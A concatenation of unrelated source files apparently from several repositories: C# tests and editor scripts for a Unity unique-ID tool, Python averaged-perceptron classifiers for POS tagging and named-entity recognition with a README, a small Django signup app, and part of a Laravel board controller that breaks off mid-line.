Assert.AreEqual(result.ErrorCount, 0); } [Test] public void It_should_report_a_null_id_as_an_error () { new GameObject("NullId").AddComponent<UniqueId>(); var result = _report.GetReport(); Assert.AreEqual(null, result.Scenes[0].Errors[0].Id); } } public class MultipleDuplicates : GetReportMethod { [SetUp] public void SetupMethod () { Setup(2); } [Test] public void It_should_find_a_duplicate_id_in_the_same_scene () { var result = _report.GetReport(); Assert.AreEqual(result.Scenes[0].Errors.Count, 2); } [Test] public void It_should_return_the_total_number_of_errors () { var result = _report.GetReport(); Assert.AreEqual(result.ErrorCount, 2); } [Test] public void It_should_return_the_id_of_the_error () { var result = _report.GetReport(); Assert.AreEqual(_id, result.Scenes[0].Errors[0].Id); } [Test] public void It_should_return_the_name_of_the_error_object () { var result = _report.GetReport(); Assert.AreEqual("UniqueId(Clone)", result.Scenes[0].Errors[0].Name); } [Test] public void It_should_return_the_path_of_the_error_object () { var result = _report.GetReport(); Assert.AreEqual("Container/UniqueId(Clone)", result.Scenes[0].Errors[0].Path); } } public class SingleDuplicateAcrossMultipleScenes : GetReportMethod { [SetUp] public void SetupMethod () { Setup(1, 2); } [Test] public void It_should_find_an_error_in_the_first_scene () { var result = _report.GetReport(); Assert.AreEqual(_id, result.Scenes[0].Errors[0].Id); } [Test] public void It_should_find_an_error_in_the_second_scene () { var result = _report.GetReport(); Assert.AreEqual(_id, result.Scenes[1].Errors[0].Id); } [Test] public void It_should_detect_number_of_errors_across_scenes () { var result = _report.GetReport(); Assert.AreEqual(2, result.ErrorCount); } } public class SceneDetails : GetReportMethod { [Test] public void It_should_report_the_scene_path () { Setup(1); var result = _report.GetReport(); Assert.AreEqual(_scenePath, result.Scenes[0].Path); } } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using UnityEngine.UIElements; namespace CleverCrow.Fluid.UniqueIds.UniqueIdRepairs { public class SceneSearch : ComponentBase { private readonly List<UniqueIdError> _errors = new List<UniqueIdError>(); public SceneSearch (VisualElement container, ReportScene report, Action<ReportId> onFixId) : base (container) { var results = _container.Query<VisualElement>(null, "o-scene-search__results").Last(); var title = container.Query<TextElement>(null, "o-scene-search__title").Last(); title.text = report.Path; report.Errors.ForEach((error) => { _errors.Add(new UniqueIdError(results, report, error, onFixId)); }); } public void HideId (string id) { foreach (var e in _errors.Where(e => e.Id == id)) { e.MarkFixed(); } } } } <file_sep>using UnityEditor; using UnityEngine; namespace CleverCrow.Fluid.UniqueIds { public class UniqueIdEditorEvents { [InitializeOnLoad] class UniqueIdPrefabApplyCallback { static UniqueIdPrefabApplyCallback () { PrefabUtility.prefabInstanceUpdated += OnPrefabInstanceUpdate; } static void OnPrefabInstanceUpdate (GameObject instance) { var id = instance.GetComponent<UniqueId>(); if (id == null) return; var prefabParent = PrefabUtility.GetCorrespondingObjectFromSource(instance); if (prefabParent == null) return; var parentId = prefabParent.GetComponent<UniqueId>(); if (parentId == null) return; var idSerializedObject = new SerializedObject(id); var idProp = idSerializedObject.FindProperty("_id"); var parentIdSerializedObject = new SerializedObject(parentId); var parentIdProp = parentIdSerializedObject.FindProperty("_id"); if (idProp.stringValue == parentIdProp.stringValue) { var prevId = idProp.stringValue; parentIdProp.stringValue = null; parentIdSerializedObject.ApplyModifiedProperties(); idProp.stringValue = prevId; idSerializedObject.ApplyModifiedProperties(); } } } } } <file_sep>using System; using System.Collections.Generic; using UnityEditor; using UnityEditor.SceneManagement; using UnityEngine; using Object = UnityEngine.Object; namespace CleverCrow.Fluid.UniqueIds { public class SceneGenerator { public string Id { get; } public string Path { get; } public List<string> ScenePaths { get; } = new List<string>(); public SceneGenerator (int sameIdCount, int sceneCount = 1, int nullIdCount = 0) { var tmpFolder = Guid.NewGuid().ToString(); AssetDatabase.CreateFolder("Assets", tmpFolder); var scene = EditorSceneManager.NewScene(NewSceneSetup.EmptyScene); var container = new GameObject("Container").transform; UniqueId id = null; while (sameIdCount > 0) { if (id == null) { var go = new GameObject("UniqueId"); go.transform.SetParent(container); id = go.AddComponent<UniqueId>(); id.PopulateIdIfEmpty(); Id = id.Id; } else { Object.Instantiate(id, container); } sameIdCount -= 1; } while (nullIdCount > 0) { var goNull = new GameObject("UniqueId"); goNull.transform.SetParent(container); goNull.AddComponent<UniqueId>(); nullIdCount -= 1; } while (sceneCount != 0) { var path = $"Assets/{tmpFolder}/{sceneCount}.unity"; ScenePaths.Add(path); EditorSceneManager.SaveScene(scene, path); sceneCount--; } Path = $"Assets/{tmpFolder}"; } public void Teardown () { AssetDatabase.DeleteAsset(Path); } } } <file_sep>namespace CleverCrow.Fluid.UniqueIds { public interface IUniqueId { string Id { get; } } } <file_sep>using System; using UnityEngine; namespace CleverCrow.Fluid.UniqueIds { public class UniqueId : MonoBehaviour, IUniqueId { [HideInInspector] [SerializeField] protected string _id = null; public virtual string Id => _id; /// <summary> /// Populate an ID only if it's missing /// </summary> public void PopulateIdIfEmpty () { if (!string.IsNullOrEmpty(_id)) return; ScrambleId(); } /// <summary> /// Assign a new random ID and overwrite the previous /// </summary> public void ScrambleId () { _id = Guid.NewGuid().ToString(); } } } <file_sep>using NUnit.Framework; namespace CleverCrow.Fluid.UniqueIds.Examples { public class ExampleVerifyIdTest { [Test] public void It_should_detect_invalid_IDs_in_the_project () { var reporter = new UniqueIdReporter("Assets/Examples"); var report = reporter.GetReport(); // Use this instead to enforce unique project IDs on your project, set to not error here for sanity reasons // Assert.AreEqual(0, report.ErrorCount); Assert.AreNotEqual(0, report.ErrorCount); } } } <file_sep>using UnityEditor; using UnityEngine; namespace CleverCrow.Fluid.UniqueIds.UniqueIdRepairs { /// <summary> /// Determine if this is a package of the Unity Editor since Unity has no API to determine this /// </summary> public static class AssetPath { private const string PATH_PROJECT = "Assets/com.fluid.unique-id"; private const string PATH_PACKAGE = "Packages/com.fluid.unique-id"; private static string _basePath; public static string BasePath { get { if (_basePath != null) return _basePath; if (AssetDatabase.IsValidFolder(PATH_PACKAGE)) { _basePath = "Packages/"; return _basePath; } if (AssetDatabase.IsValidFolder(PATH_PROJECT)) { _basePath = "Assets/"; return _basePath; } Debug.LogError("Asset root could not be found"); return null; } } } }
5858345a48a26a926a29aba2552c308ff3505499
[ "Markdown", "C#" ]
18
C#
ashblue/fluid-unique-id
e91275393b93c1714ea9b0fa4dc0f7c4e43ba058
002c50addb9b17faebb7e99b6a5e3fe48c5584cf
refs/heads/master
<repo_name>shanky-259/Averaged_perceptron<file_sep>/postagging/postag.py import sys import json files=sys.argv sys.stdin = codecs.getreader('latin-1') def loadmodell(): f=open(str(files[1]),'r',encoding='latin-1') weightavg=json.loads(f.read()) return weightavg def classify(classlist): for eachline in sys.stdin.readlines(): wordss=eachline.split() line='%%%BEGIN%%%'+' ' for word in wordss: line+=word+' ' line+='%%%END%%%' percepclassify(line,classlist,weightavg) def percepclassify(line,classlist,weightavg): output='' words=line.split() for index in range(1,len(words)-1): flag='false' for i,each in enumerate(regex): if re.findall(regex[i][0],words[index])==[words[index]]: maximum=regex[i][1] flag='true' if flag=='true': continue else: wprev='w_prev'+words[index-1] wcurr='w_curr'+words[index] wnext='w_next'+words[index+1] classifydev={} feature={} context=[wprev,wcurr,wnext] for eachword in context: feature[eachword]=1 for eachclass in classlist: classifydev[eachclass]=0 for eachclass in classlist: for eachword in context: try: classifydev[eachclass]+=feature[eachword]*weightavg[eachclass][eachword] except: classifydev[eachclass]+=0 maximum=classlist[0] for eachclass in classlist: if classifydev[eachclass]>classifydev[maximum]: maximum=eachclass output+=words[index]+'/'+maximum+' ' print(output) weightavg=loadmodell() classlist=[] for key in weightavg: classlist.append(key) regex=[(r'.*ing$','VBG'),(r'.*ed$','VBD'),(r'.*es$','VBZ'),(r'.*\'s$','NN$'),(r'.*s$','NNS')] classify(classlist) <file_sep>/perceplearn.py import json import sys import random files=sys.argv def classwords(): allwordsset=set() classlist=[] for line in open(str(files[1]),"r",encoding='latin-1'): words=line.split() if words[0] not in classlist: classlist.append(words[0]) for line in open(str(files[1]),"r"): words=line.split() for word in words: if word not in classlist: allwordsset.add(word) allwords=list(allwordsset) return classlist,allwords def weights(): global weight,weightavg weight={} weightavg={} for i in range(len(classlist)): weight[classlist[i]]={} weightavg[classlist[i]]={} for word in allwords: for i in range(len(classlist)): weight[classlist[i]][word]=0 weightavg[classlist[i]][word]=0 def updateweight(feature,actualclass): predictedclass={} for i in range(len(classlist)): predictedclass[classlist[i]]=0 for i in range(len(classlist)): for word in feature: predictedclass[classlist[i]]+=feature[word]*weight[classlist[i]][word] argmax=classlist[0] for key in predictedclass: if predictedclass[key]>predictedclass[argmax]: argmax=key if argmax!=actualclass: for word in feature: weight[argmax][word]-=feature[word] weight[actualclass][word]+=feature[word] def train(): N=10 lines=[] for line in open(str(files[1]),'r'): lines.append(line) for i in range(N): for line in random.sample(lines,len(lines)): feature={} wordset=set() words=line.split() for word in words: if word not in classlist: wordset.add(word) trainingeg=list(wordset) for word in trainingeg: feature[word]=0 for word in words: if word not in classlist: feature[word]+=1 updateweight(feature,words[0]) for eachclass in weight: for word in weight[eachclass]: weightavg[eachclass][word]+=weight[eachclass][word] f1=open(str(files[2]),"w+") encode=json.dumps(weightavg) f1.write(encode) f1.close() classlist,allwords=classwords() weights() train() <file_sep>/percepclassify.py import sys import json import codecs files=sys.argv sys.stdin = codecs.getreader('latin-1')(sys.stdin.detach()) def loadmodell(): f=open(str(files[1]),'r',encoding='latin-1') weightavg=json.loads(f.read()) return weightavg def classify(classlist): for line in sys.stdin.readlines(): percepclassify(line,classlist,weightavg) def percepclassify(line,classlist,weightavg): output='' words=line.split() feature={} wordset=set() classify={} words=line.split() for word in words: if word not in classlist: wordset.add(word) trainingeg=list(wordset) for word in trainingeg: feature[word]=0 for word in words: if word not in classlist: feature[word]+=1 for eachclass in classlist: classify[eachclass]=0 for eachclass in classlist: for eachword in feature: try: classify[eachclass]+=feature[eachword]*weightavg[eachclass][eachword] except: classify[eachclass]+=0 maximum=classlist[0] for eachclass in classlist: if classify[eachclass]>classify[maximum]: maximum=eachclass print(maximum) weightavg=loadmodell() classlist=[] for key in weightavg: classlist.append(key) classify(classlist) <file_sep>/ner/nelearn.py import sys import random import json files=sys.argv def build(): lines=[] classes=set() allwordset=set() for line in open(files[1],'r',encoding='latin-1'): wordlist=line.split() sentence='%%%BEGIN%%%'+' ' for word in wordlist: sentence+=word.rsplit('/',1)[1]+' ' sentence+=word.rsplit('/',1)[0]+' ' classes.add(word.rsplit('/',1)[1]) sentence+='%%%END%%%' lines.append(sentence) classlist=list(classes) train(classlist,lines) def updateweights(context,actualclass): predictedclass={} for i in range(len(classlist)): predictedclass[classlist[i]]=0 for i in range(len(classlist)): for word in context: try: predictedclass[classlist[i]]+=feature[word]*weight[classlist[i]][word] except: predictedclass[classlist[i]]+=0 argmax=classlist[0] for key in predictedclass: if predictedclass[key]>predictedclass[argmax]: argmax=key if argmax!=actualclass: for word in context: weight[argmax][word]-=feature[word] weight[actualclass][word]+=feature[word] def train(classlist_passed,lines): N=25 global weight,weightavg global classlist classlist=classlist_passed weight={} weightavg={} for eachclass in classlist: weight[eachclass]={} weightavg[eachclass]={} for x in range(N): for line in random.sample(lines,len(lines)): words=line.split() for index in range(2,len(words)-1,2): global feature feature={} try: posp=words[index-2].rsplit('/',1)[1] except: posp='' posc=words[index].rsplit('/',1)[1] try: posn=words[index+2].rsplit('/',1)[1] except: posn='' wprev='w_prev'+words[index-2].rsplit('/',1)[0] wcurr='w_curr'+words[index].rsplit('/',1)[0] try: wnext='w_next'+words[index+2].rsplit('/',1)[0] except: wnext='w_next'+words[index+1].rsplit('/',1)[0] try: prev_entity=words[index-3] except: prev_entity='%%not_defined%%' context=[wprev,wcurr,wnext,posp,posc,posn,prev_entity] for eachword in context: feature[eachword]=1 for eachclass in classlist: for eachword in context: if eachword not in weight[eachclass]: weight[eachclass][eachword]=0 updateweights(context,words[index-1]) for eachclass in weight: for word in weight[eachclass]: try: weightavg[eachclass][word]+=weight[eachclass][word] except: weightavg[eachclass][word]=weight[eachclass][word] f1=open(str(files[2]),"w+") encode=json.dumps(weightavg) f1.write(encode) f1.close() build() <file_sep>/postagging/postrain.py import json import sys import random files=sys.argv def updateweights(context,actualclass): predictedclass={} for i in range(len(classlist)): predictedclass[classlist[i]]=0 for i in range(len(classlist)): for word in context: try: predictedclass[classlist[i]]+=feature[word]*weight[classlist[i]][word] except: predictedclass[classlist[i]]+=0 argmax=classlist[0] for key in predictedclass: if predictedclass[key]>predictedclass[argmax]: argmax=key if argmax!=actualclass: for word in context: weight[argmax][word]-=feature[word] weight[actualclass][word]+=feature[word] def train(classlist_passed,lines): N=10 global weight,weightavg global classlist classlist=classlist_passed weight={} weightavg={} for eachclass in classlist: weight[eachclass]={} weightavg[eachclass]={} for x in range(N): for line in random.sample(lines,len(lines)): words=line.split() for index in range(2,len(words)-1,2): global feature feature={} wprev='w_prev'+words[index-2] wcurr='w_curr'+words[index] try: wnext='w_next'+words[index+2] except: wnext='w_next'+words[index+1] context=[wprev,wcurr,wnext] for eachword in context: feature[eachword]=1 for eachclass in classlist: for eachword in context: if eachword not in weight[eachclass]: weight[eachclass][eachword]=0 updateweights(context,words[index-1]) for eachclass in weight: for word in weight[eachclass]: try: weightavg[eachclass][word]+=weight[eachclass][word] except: weightavg[eachclass][word]=weight[eachclass][word] f1=open(str(files[2]),"w+") encode=json.dumps(weightavg) f1.write(encode) f1.close() def build(): lines=[] classes=set() allwordset=set() d={} for line in open(files[1],'r',encoding='latin-1'): wordlist=line.split() sentence='%%%BEGIN%%%'+' ' for word in wordlist: sentence+=word.split('/')[1]+' ' sentence+=word.split('/')[0]+' ' classes.add(word.split('/')[1]) sentence+='%%%END%%%' lines.append(sentence) classlist=list(classes) train(classlist,lines) build() <file_sep>/ner/netag.py import sys import json files=sys.argv import codecs sys.stdin = codecs.getreader('latin-1')(sys.stdin.detach()) def loadmodell(): f=open(str(files[1]),'r',encoding='latin-1') weightavg=json.loads(f.read()) return weightavg def classify(classlist): for eachline in sys.stdin.readlines(): wordss=eachline.split() line='%%%BEGIN%%%'+' ' for word in wordss: line+=word+' ' line+='%%%END%%%' percepclassify(line,classlist,weightavg) def percepclassify(line,classlist,weightavg): output='' words=line.split() maximum='%%not_defined%%' for index in range(1,len(words)-1): try: posp=words[index-1].split('/')[1] except: posp='' posc=words[index].split('/')[1] try: posn=words[index+1].split('/')[1] except: posn='' wprev='w_prev'+words[index-1].split('/')[0] wcurr='w_curr'+words[index].split('/')[0] wnext='w_next'+words[index+1].split('/')[0] prev_entity=maximum classifydev={} feature={} context=[wprev,wcurr,wnext,posp,posc,posn,prev_entity] for eachword in context: feature[eachword]=1 for eachclass in classlist: classifydev[eachclass]=0 for eachclass in classlist: for eachword in context: try: classifydev[eachclass]+=feature[eachword]*weightavg[eachclass][eachword] except: classifydev[eachclass]+=0 maximum=classlist[0] for eachclass in classlist: if classifydev[eachclass]>classifydev[maximum]: maximum=eachclass output+=words[index]+'/'+maximum+' ' print(output) weightavg=loadmodell() classlist=[] for key in weightavg: classlist.append(key) classify(classlist) <file_sep>/README.md Instructions for running the code : python3 perceplearn.py [trainingfile] [modelfile] python3 percepclassify [modelfile] < [testfile] > [outputfile] NOTE : My implementation of perceplearn.py is based on the input and formatting of nblearn. Part 4 : 1) Accuracy of POS tagger : 95 % 2) Precison,Recall & F-scores : B-ORG : Precision: 0.8666158536585366 Recall: 0.6688235294117647 F-score: 0.75498007968 B-MISC : Precision: 0.7201365187713311 Recall: 0.47415730337078654 F-score: 0.5718157181571816 B-LOC : Precision: 0.7029520295202952 Recall: 0.774390243902439 F-score: 0.7369439071566731 B-PER : Precision: 0.9245033112582781 Recall: 0.5711947626841244 F-score: 0.7061203844208398 Overall F-score: 0.7204618345093008 3) Accuracy of Part of speech tagging using Naive Bayes classifier : 89.99 % Named entity recognition using Naive Bayes classifier : Overall Precision: 0.7407757805108799 Recall: 0.35991726039990807 Overall F-score : 0.500000 The reason for the drop in accuracy of Part of speech tagger and F-score for Named entity recognition is because Naive Bayes assumes 'independence of words' property for a document of words. Since,part of speech tagging and Named entity recognition rely heavily on the context of a word , Naive Bayes doesnot perform well for part of speech tagging and named entity recognition.
df915c7ab5d60c8069ebcc55916e046342728453
[ "Markdown", "Python" ]
7
Python
shanky-259/Averaged_perceptron
f376846e6d8cfe34826fcb580bd4ea388c29cffc
d2f1b3c95514976a35839fdde1ce783a75800c76
refs/heads/main
<file_sep>class CardGenerator def initialize(filename) @filename = filename end def loader File.open(@filename).readlines.map do |line| question, answer = line.strip!.split(",") Card.new(question, answer) end end end <file_sep>require 'minitest/autorun' require 'minitest/pride' require "./lib/guess" require './lib/card' require './lib/deck' require "./lib/round" class DeckTest < Minitest::Test def test_cards_can_get_stored_in_a_deck_and_return_count card_1 = Card.new("What is the capital of Alaska?", "Juneau") card_2 = Card.new("The Viking spacecraft sent back to Earth photographs and reports about the surface of which planet?", "Mars") card_3 = Card.new("Describe in words the exact direction that is 697.5° clockwise from due north?", "North north west") deck = Deck.new([card_1, card_2, card_3]) assert_instance_of Array, deck.cards assert_equal 3, deck.count assert_equal "juneau", deck.cards[0].answer assert_equal 'What is the capital of Alaska?', deck.cards[0].question assert_equal 'north north west', deck.cards[2].answer end end <file_sep>require "./lib/guess" require "./lib/card" class Round attr_reader :deck, :guesses, :number_correct def initialize(deck) @deck = deck @guesses = [] @number_correct = 0 @current_card = 0 end def current_card @deck.cards[@current_card] end def record_guess(response) @guesses << Guess.new(response.to_s, current_card) guess = @guesses.last if guess.correct? @number_correct += 1 else @number_correct end @current_card += 1 end def percent_correct (@number_correct.to_f / deck.cards.length * 100).to_i end def start puts "Welcome! You're playing with #{deck.cards.count} cards" sleep 1.5 puts "---------------------------------" sleep 1.5 game puts "******* Game over! *******" sleep 1.5 puts "You had #{@number_correct} correct guesses out of #{deck.cards.count} for a score of #{percent_correct}" end def game deck.cards.each do |card| puts "This is card number #{@current_card + 1} out of #{deck.cards.count}" sleep 1.5 puts "Question: #{card.question}" input = gets.chomp record_guess(input) puts "#{guesses.last.feedback}" sleep 1.5 end end end <file_sep>require 'minitest/autorun' require 'minitest/pride' require "./lib/guess" require './lib/card' require './lib/deck' require "./lib/round" class RoundTest < Minitest::Test def test_round_holds_and_has_access_to_deck card_1 = Card.new("What is the capital of Alaska?", "Juneau") card_2 = Card.new("Approximately how many miles are in one astronomical unit?", "93,000,000") deck = Deck.new([card_1, card_2]) round = Round.new(deck) assert_equal 2, round.deck.cards.length assert_equal [], round.guesses assert_equal "What is the capital of Alaska?", round.current_card.question assert_equal "juneau", round.current_card.answer end def test_record_guess_can_count_and_give_current_card_and_feedback card_1 = Card.new("What is the capital of Alaska?", "Juneau") card_2 = Card.new("Approximately how many miles are in one astronomical unit?", "93,000,000") deck = Deck.new([card_1, card_2]) round = Round.new(deck) round.record_guess("Juneau") assert_equal 1, round.guesses.count assert_equal 'Correct!', round.guesses.first.feedback assert_equal 1, round.number_correct assert_equal card_2, round.current_card end def test_record_guess_can_hold_two_guesses_correctly card_1 = Card.new("What is the capital of Alaska?", "Juneau") card_2 = Card.new("Approximately how many miles are in one astronomical unit?", "93,000,000") deck = Deck.new([card_1, card_2,]) round = Round.new(deck) round.record_guess("Juneau") round.record_guess("2") assert_equal 2, round.guesses.count assert_equal 'Incorrect.', round.guesses.last.feedback assert_equal 1, round.number_correct assert_equal 50, round.percent_correct end def test_record_guess_edge_cases card_1 = Card.new("What is the capital of Alaska?", "Juneau") card_2 = Card.new("Approximately how many miles are in one astronomical unit?", "93,000,000") card_3 = Card.new("Is <NAME> the best artist of our era?", "yes") deck = Deck.new([card_1, card_2, card_3]) round = Round.new(deck) edge = nil round.record_guess(5) round.record_guess('') round.record_guess(edge) assert_equal 0, round.percent_correct assert_equal 'yes', round.deck.cards[2].answer assert_nil nil, round.guesses.last.guess assert_equal 0, round.number_correct end end <file_sep>require 'minitest/autorun' require 'minitest/pride' require "./lib/guess" require './lib/card' require './lib/deck' require "./lib/round" class GuessTest < Minitest::Test def test_guess_returns_correct_feedback_and_boolean_for_correct_guesses card = Card.new("What is the capital of Alaska?", 'Juneau') guess = Guess.new("Juneau", card) assert_equal card, guess.card assert_equal true, guess.correct? assert_equal 'Correct!', guess.feedback end def test_guess_returns_correct_feedback_and_boolean_for_incorrect_guesses card = Card.new("Which planet is closest to the sun?", "Mercury") guess = Guess.new("Saturn", card) assert_equal card, guess.card assert_equal false, guess.correct? assert_equal "Incorrect.", guess.feedback end end <file_sep>require './lib/card' require './lib/guess' require './lib/deck' require './lib/round' require "./lib/card_generator" class FlashcardRunner filename = "./lib/cards.txt" cards = CardGenerator.new(filename).loader deck = Deck.new(cards) round = Round.new(deck) round.start end <file_sep>require 'minitest/autorun' require 'minitest/pride' require "./lib/guess" require './lib/card' require './lib/deck' require "./lib/round" require "./lib/card_generator" class CardGeneratorTest < Minitest::Test def test_loads_file_into_array_with_questions_and_answers filename = "./lib/cards.txt" cards = CardGenerator.new(filename).loader assert_instance_of Array, cards assert_equal 'What is 5 + 5?', cards.first.question assert_equal '<NAME>', cards.last.answer end end
0463ad728eef605d98f0309562afd4458cbd0685
[ "Ruby" ]
7
Ruby
dhalverson2/flashcards
0736fbb0632bac1185fdb127c948e805b85c90ad
919ceb5ff2ea99d69433a15d6bba8f346e4d5f95
refs/heads/main
<file_sep># STM32-SSD1306 使用STM32F103C8T6的USART1与电脑通信,获取帧图像 使用I2C1与SSD1306通信,向OLED的GDDRAM写入帧图像 测试帧速率:10FPS
2df86f0e574b5e4a3b4a91050a47b021969f73a4
[ "Markdown" ]
1
Markdown
Hhe68-skl/STM32-SSD1306
21711fa354e8045da86cb3c3e340030039aff3b5
468087777ea60c81f05d383dd711823e4a29617d
refs/heads/main
<repo_name>Cusitv/-<file_sep>/用户登录/assets/js/index.js var refreshNav = true; $(function() { initUserInfo(); //获取用户信息 initNav(); //获取导航栏 //路由注册 Q.reg('home',function(){ load('home'); }).reg('system',function(path){ load('system/'+path); }).init({ index: 'home' }); //点击导航切换页面时不刷新导航,其他方式切换页面要刷新导航 layui.element.on('nav(index-nav)', function(elem){ refreshNav = false; }); }); //异步加载子页面 function load(path) { if(refreshNav){ activeNav(path); } refreshNav = true; $("#main-content").load("views/" + path +".html",function(){ layui.element.render('breadcrumb'); layui.form.render('select'); }); } //获取左侧导航栏 function initNav(){ var indexNavStr = sessionStorage.getItem("index-nav"); var indexNav = JSON.parse(indexNavStr); if(indexNav==null){ $.get("api/menu", { token : getToken() }, function (data) { if(200==data.code){ sessionStorage.setItem("index-nav",JSON.stringify(data.menus)); initNav(); }else{ layer.msg("获取导航失败",{icon: 2}); } },"json"); }else{ layui.laytpl(sideNav.innerHTML).render(indexNav, function(html){ $("#index-nav").html(html); layui.element.render('nav', 'index-nav'); }); } } //获取用户信息 function initUserInfo(){ try { var user = getCurrentUser(); //$("#userHead").attr("src", user.); $("#userNickName").text(user.userNickname); } catch (e) { console.log(e.message); } } //退出登录 function loginOut(){ localStorage.removeItem("token"); localStorage.removeItem("user"); sessionStorage.removeItem("index-nav"); layer.load(1); $.ajax({ url: "api/login?token="+getToken(), type: "DELETE", dataType: "JSON", success: function(data){ location.replace("login.html"); } }); }
3da2949f5c7e85ed47a5098c8fd1197d460859bd
[ "JavaScript" ]
1
JavaScript
Cusitv/-
780dc4eef11f4c0958dfef53dcae7642c3f801dc
4e6bc5abb05177889d6a3b13b917b12a2b92e7e5
refs/heads/master
<file_sep>from django.shortcuts import render from .models import signup from .forms import Signupform, Loginform def register(request): #if request.method== "POST": form1 = Signupform(request.POST ) #users = signup.objects.all() if form1.is_valid(): saveform=form1.save(commit=False) saveform.save() #return render(request, 'signup_app/home.html') else: form1 = Signupform() print "not valid" #return render(request, 'signup_app/home.html') return render(request, 'signup_app/signup.html', {'form1': form1}) def home(request): #form1 = Signupform(request.POST or None) form = Loginform(request.GET ) # if form.is_valid(): # form1 = Signupform(request.POST or None) # return render(request, 'signup_app/signup.html', {'form1': form1}) #return render(re return render(request, 'signup_app/home.html',{'form': form}) <file_sep>from django import forms from .models import signup, Login class Signupform(forms.ModelForm): class Meta: model=signup date_of_birth =forms.DateField(label='date_of_birth', input_formats=['%d/%m/%Y'], ) widgets= {'password': forms.PasswordInput(),} fields='__all__' class Loginform(forms.ModelForm): class Meta: model=Login widgets= {'password': forms.PasswordInput(),} fields='__all__'<file_sep>from django.db import models class signup(models.Model): first_name = models.CharField(max_length=50) last_name = models.CharField(max_length=50) date_of_birth=models.CharField(max_length=50) phone_number = models.CharField(max_length=100) country = models.CharField(max_length=30) city=models.CharField(max_length=30) address=models.CharField(max_length=100) email_adress=models.EmailField(max_length=100) password=models.CharField(max_length=50) def __unicode__(self): return self.first_name class Login(models.Model): email_adress=models.EmailField(max_length=100) password=<PASSWORD>.CharField(max_length=50) def __unicode__(self): return self.email_adress <file_sep>from django.contrib import admin from .forms import Signupform from .models import signup class Signupadmin(admin.ModelAdmin): form = Signupform class Meta: model=signup admin.site.register(signup, Signupadmin)
a872df2a937622a7608de3ece0e6f8e71d305012
[ "Python" ]
4
Python
WabwireL/QuickSell
5781a6210f34d76ba88ab77f2e2400e81e9a5c0b
c1177d8a23ea447265c8aad5d581faf76c9689f9
refs/heads/master
<file_sep><?php namespace App\Http\Controllers; use Redirect; use Auth; use Validator; use App\User; use Illuminate\Http\Request; class UserController extends Controller { // 회원 정보 수정 public function modify(Request $request){ if(Auth::user()->email != $request->email){ // 유효성 검사 $validator = Validator::make($request->all(), [ 'email' => 'required|email|max:255|unique:users', 'phone' => 'max:255', ]); // 유효성 검사에서 걸리게 됬다면 if ($validator->fails()) { return redirect('/user/modify')->withErrors($validator)->withInput(); } } User::where('userid', Auth::user()->userid)->update([ 'email' => $request->email, 'phone' => preg_replace('/[^0-9]/','',$request->phone), ]); return redirect('/user'); } // 현재 가입 승인중인 회원 보기 public function authindex(){ //if(Auth::user()->admin == 1){ $users = User::where('confirm',0)->get(); return view('auth.auth',[ 'users' => $users, ]); //}else //return Redirect::back(); } public function auth(Request $request, $userid){ //if(Auth::user()->admin == 1){ $users = User::where('userid',$userid)->update([ 'confirm' => 1, ]); //} return Redirect::back(); } } <file_sep><?php namespace App\Http\Controllers; use Redirect; use Auth; use App\Comment; use App\Board; use App\Group; use App\Viewer; use App\Logger; use DB; use Validator; use Illuminate\Http\Request; class BoardController extends Controller { // // 로그인한 유저만 볼 수 있다. public function __construct(){ $this->middleware('auth'); } // 게시판 중에서 그룹 게시판의 댓글을 보여준다. public function groupindex($type, $boardid){ $board = Board::where('id', $boardid)->first(); $group = Group::where('boardid', $boardid)->first(); if($board){ $comments = Comment::where('boardid', $boardid)->get(); return view('groups.group',[ 'board' => $board, 'group' => $group, 'comments' => $comments, ]); } return redirect('/group/'.$type); } // 각 게시판에서 글을 가져오는 함수이다. public function index($boardid){ $boards = Board::where('boardid', $boardid)->latest('created_at')->paginate(4); //if($boardid == 'jokbo') // $boards = Board::where('boardid', $boardid)->latest('created_at')->get(); return view('boards.'.$boardid,[ 'boards' => $boards, ]); } // 각 게시판에 글을 작성하는 함수이다. public function write(Request $request, $boardid){ // 관리자만 쓸 수 있는 게시판 if(Auth::user()->admin == 1 && $boardid == 'notice'){ Board::create([ 'boardid' => 'notice', 'userid' => Auth::user()->userid, 'title' => $request->title, 'content' => $request->content, 'frontcomment' => 0, 'anonymous' => $request->anonymous, 'viewer' => 0, // 조회수는 0부터 시작한다. ]); Logger::create([ 'command' => 'write', 'target' => DB::getPdo()->lastInsertId(), 'type' => 'notice', 'who' => Auth::user()->realname, ]); return redirect('notice'); } if($boardid != 'notice'){ Board::create([ 'boardid' => $boardid, 'userid' => Auth::user()->userid, 'title' => $request->title, 'content' => $request->content, 'frontcomment' => 0, 'anonymous' => $request->anonymous, 'viewer' => 0, // 조회수는 0부터 시작한다. ]); if($request->anonymous==1){ Logger::create([ 'command' => 'write', 'target' => DB::getPdo()->lastInsertId(), 'type' => $boardid, 'who' => '익명', ]); }else{ Logger::create([ 'command' => 'write', 'target' => DB::getPdo()->lastInsertId(), 'type' => $boardid, 'who' => Auth::user()->realname, ]); } } return redirect($boardid); } public function remove(Request $request, $boardid, $id){ $board = Board::where('id', $id)->first(); // 자신이 작성한 글이면 if(Auth::user()->userid == $board->userid){ $board->delete(); return 'true'; }else return 'false'; } // 각 게시판의 댓글을 보여준다. public function comment(Request $request,$boardid ,$id){ $board = Board::where('id', $id)->first(); $comments = Comment::where('boardid', $id)->get(); if($board){ // 처음 다녀갔다면 viewer테이블에 추가하고 if(!Viewer::where('boardid',$id)->where('userid',Auth::user()->userid)->first()){ Viewer::create([ 'boardid' => $id, 'userid' => Auth::user()->userid, ]); // 조회수 1 증가 $board->increment('viewer'); } return view('boards.comment',[ 'board' => $board, 'comments' => $comments, ]); } return redirect($boardid); } // 게시판 검색 public function search(Request $request, $boardid, $mode, $text){ //$boards = Board::where('boardid', $boardid)->latest('created_at')->paginate(4); $text = strip_tags($text); if($mode == 'title'){ $boards = Board::where('boardid', $boardid)->where('title', 'LIKE', '%'.$text.'%')->latest('created_at')->paginate(4); }else if($mode == 'content'){ $boards = Board::where('boardid', $boardid)->where('content', 'LIKE', '%'.$text.'%')->latest('created_at')->paginate(4); }else if($mode == 'both'){ $boards = Board::where('boardid', $boardid)->where('title', 'LIKE', '%'.$text.'%')->orwhere('content', 'LIKE', '%'.$text.'%')->latest('created_at')->paginate(4); }else{ return redirect($boardid); } return view('boards.'.$boardid,[ 'boards' => $boards, ]); } // 게시판 수정 public function modify(Request $request, $boardid ,$id){ if(Auth::user()->userid == Board::where('id',$id)->first()->userid){ // 유효성 검사 $validator = Validator::make($request->all(), [ 'title' => 'required|max:255', 'content' => 'required', 'anonymous' => 